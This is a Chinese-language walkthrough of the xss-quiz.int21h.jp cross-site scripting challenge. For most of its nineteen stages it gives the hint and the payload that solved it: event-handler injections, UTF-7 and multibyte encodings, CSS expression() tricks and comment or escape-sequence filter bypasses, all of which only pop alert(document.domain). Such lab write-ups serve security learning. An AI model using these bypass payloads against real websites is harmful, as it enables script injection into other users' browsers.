xsschallenges平台学习

     虽然在很早之前就接触过xss，有一段时间还就着一本书研究过，但是始终没有实感，掌握的也不够系统，所以现在借着这几个平台再学习一遍

     首先来玩一玩xss challenge平台

第一关：http://xss-quiz.int21h.jp/?sid=2a75ff06e0147586b7ceb0fe68ee443b86a6e7b9

　　

第二关：http://xss-quiz.int21h.jp/stage2.php?sid=f2d7d60125bdddb208fa757ee5cdae22f6818cd1

     提示：close the current tag and add SCRIPT tag...

    

第三关：http://xss-quiz.int21h.jp/stage-3.php?sid=93de7707279b3a5ae4ce419bfc7c0b1f380a20f6

     提示：The input in text box is properly escaped.

     尝试输入查看源码发现<>被转义了，于是抓包在country的位置插入xss

    

     成功

    

第四关：http://xss-quiz.int21h.jp/stage_4.php?sid=be5650b31307cf0ca1927eae2e4b755d72a4162c

     提示：invisible input field

     尝试在search和country处插入xss，但是查看源码发现都被转义了

     同时，在抓到的包中发现存在参数p3，于是尝试在p3处插入语句，出错了，看了下源码，发现需要闭合

    

     再来一次，成功

    

     在源码中可以看到，改了之后的语句成功的闭合了input

    

第五关：http://xss-quiz.int21h.jp/stage--5.php?sid=92e1efdf82ec7681dc71fd4b5b15470cce1bbe27

     提示：length limited text box

     尝试在search处插入xss，发现存在输入长度的限定，于是想到可以用burp抓包，然后再修改search的值

    

     但同样的这里也需要闭合，修改一下再发一次

    

     成功了

    

    

     还有一种方法，直接改maxlength=15

第六关：http://xss-quiz.int21h.jp/stage-no6.php?sid=10284e95452262a58b13c86015336f4489b6152e

     提示：event handler attributes

     输入"><script>alert(document.domain)script><发现“<>”被过滤

    

     那么可以用onclick在input中触发：" Onclick=alert(document.domain) id="a

    

     然后点击输入框

    

第七关：http://xss-quiz.int21h.jp/stage07.php?sid=2e71a47a9c7061dcce2b9205b52f4252bd53b443

     提示：nearly the same... but a bit more tricky.

     和上一关一样，这里的"<>都被转义了

     但事实上，用" Onclick=alert(document.domain)还是可以插入，因为前面的"不影响后面的onlick点击事件

     还有一种方法：1 Onmouseover=alert(document.domain);

     onmouseover：事件会在鼠标指针移动到指定的元素上时发生。

    

    

第八关：http://xss-quiz.int21h.jp/stage008.php?sid=8407d42ea5cf46b072f5a358abffa591a449a2ba

     提示：the 'Javascript' scheme.

     scheme：属性设置或返回用于解释 content 属性的值的格式

     也就是，用js的伪协议，当点击链接的时候弹出窗口

    

    

第九关：http://xss-quiz.int21h.jp/stage_09.php?sid=fcf3010be4306306e9668ee51b9d6916c0b3e129

     提示：UTF-7 XSS

     "<>都被转义了，当然也不能用onmouseover和onclick，根据提示，用UTF-7编码解码工具，将" Onmousemove="alert(document.domain)转为UTF-7编码：

     p1=1%2bACI- Onmouseover=%2bACI-alert(document.domain)%2bADsAIg- x=%2bACI-&charset=UTF-7

     这个对使用的IE浏览器有一定的限制，大部分浏览器都已经修复了这个漏洞，但IE7还没有

     因为我的实验环境没有IE7，所以这里直接用的另一个简单粗暴的方法：

    

     firebug是很强大的...

第十关：http://xss-quiz.int21h.jp/stage00010.php?sid=718360225fa9356a42c30995f38b5142c3496f6a

     提示：s/domain//g;

     很尴尬，他把domain过滤了

    

     但是可以这样，很常见的方过滤方式：

    

第十一关：http://xss-quiz.int21h.jp/stage11th.php?sid=4a4c328baf358d9bf01befc79228e70d25549025

     提示：s/script/xscript/ig;" and "s/on[a-z]+=/Onxxx=/ig;" and "s/style=/stxxx=/ig;

     对script进行了过滤

    

     试试onclick和onmouseover，还是不行

    

     于是想到可以用标签：">here<"但是，因为对script做了过滤，所以要将script中的某个字符转为unicode编码，或者可以插入&＃09;不可见字符

    

第十二关：http://xss-quiz.int21h.jp/stage_no012.php?sid=66a49c46b3d8e490003681f359c7b8b14ba174c8

     提示：s/[\x00-\x20\<\>\"\']//g;

     <>"被过滤，根据提示可以知道x00-，x20，<，>，"，'都被过滤了，但是`还没被过滤，于是可以用`加上onclick,onmouseover,onfocus均可，还有一个前提是IE，只有IE才有这个特性

    

    

第十三关：http://xss-quiz.int21h.jp/stage13_0.php?sid=ea59af045ae260dd938d73d6cbbd1c92a6806e06

     提示：style attribute

     在CSS样式中利用expression实现Javascript中的onmouseover或onmouseout事件，同样前提是IE

     aa:expression(Onmouseover=function(){alert(document.domain)})

     还有一种：

     background-color:#f00;background:url("Javascript:alert(document.domain);");

    

第十四关：http://xss-quiz.int21h.jp/stage-_-14.php?sid=88e5796eaebea97fe2b0cd79df9fbc9edad3ab9e

     提示：s/(url|script|eval|expression)/xxx/ig;

     这里过滤了expression，url，eval，script，但是通过加入注释符可绕过：here:expre/**/ssion(Onmouseover=function(){alert(document.domain)})

     或者：here:expre/**/ssion(window.x?0:(alert(document.domain),window.x=1));

    

      还有几种绕过过滤的方法：加\，加\0，将e转码为\0056

第十五关：http://xss-quiz.int21h.jp/stage__15.php?sid=1e785fb96bdb203c00b034203ee574681d1b4403

     提示：document.write();

     被过滤

    

     有几种方过滤的方法：

     第一种：换成16进制编码\\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e

    

     第二种：换成Unicode编码\\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e

第十六关：http://xss-quiz.int21h.jp/stage00000016.php?sid=d3e7f2565164c8482f758c4a887073bc36bccc45

     提示：document.write();" and "s/\\x/\\\\x/ig;

     第一种：换成Unicode编码\\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e

    

     第二种：换成十进制\\74script\\76ealert(document.domain);\\74/script\\76

第十七关：http://xss-quiz.int21h.jp/stage-No17.php?sid=a207c91d7b4cb2634e277df104c853554347e8ca

     提示：multi-byte character

     思路类似于宽字节注入，利用特殊字节吃掉双引号，于是抓包修改p1，p2

     p1=1%A7&p2=+onmouseover%3Dalert%28document.domain%29%3B+%A7

    

第十八关：http://xss-quiz.int21h.jp/stage__No18.php?sid=b23d6719a639f5655a2966a2f5ade6ec86841851

     提示：us-ascii high bit issue

     将每个字符的二进制最高位置为1，然后再转为16进制

     故"><script>alert(document.domain)scirpt> 就转换为%A2%BE%BCscript%BEalert(document.domain);%BC/script%BE

     但是前提还是用旧的IE版本IE5,6

    

第十九关： http://xss-quiz.int21h.jp/stage_--19.php?sid=8e654fc6c2fe93f2c8bd38fbc6ad6b1588d859c7

     提示：Twitter DomXss at Sep 24, 2010

 

参考文献：

http://blog.csdn.net/nixawk/article/details/28038509

http://www.2cto.com/article/201509/441858.html

http://blog.csdn.net/emaste_r/article/details/16988167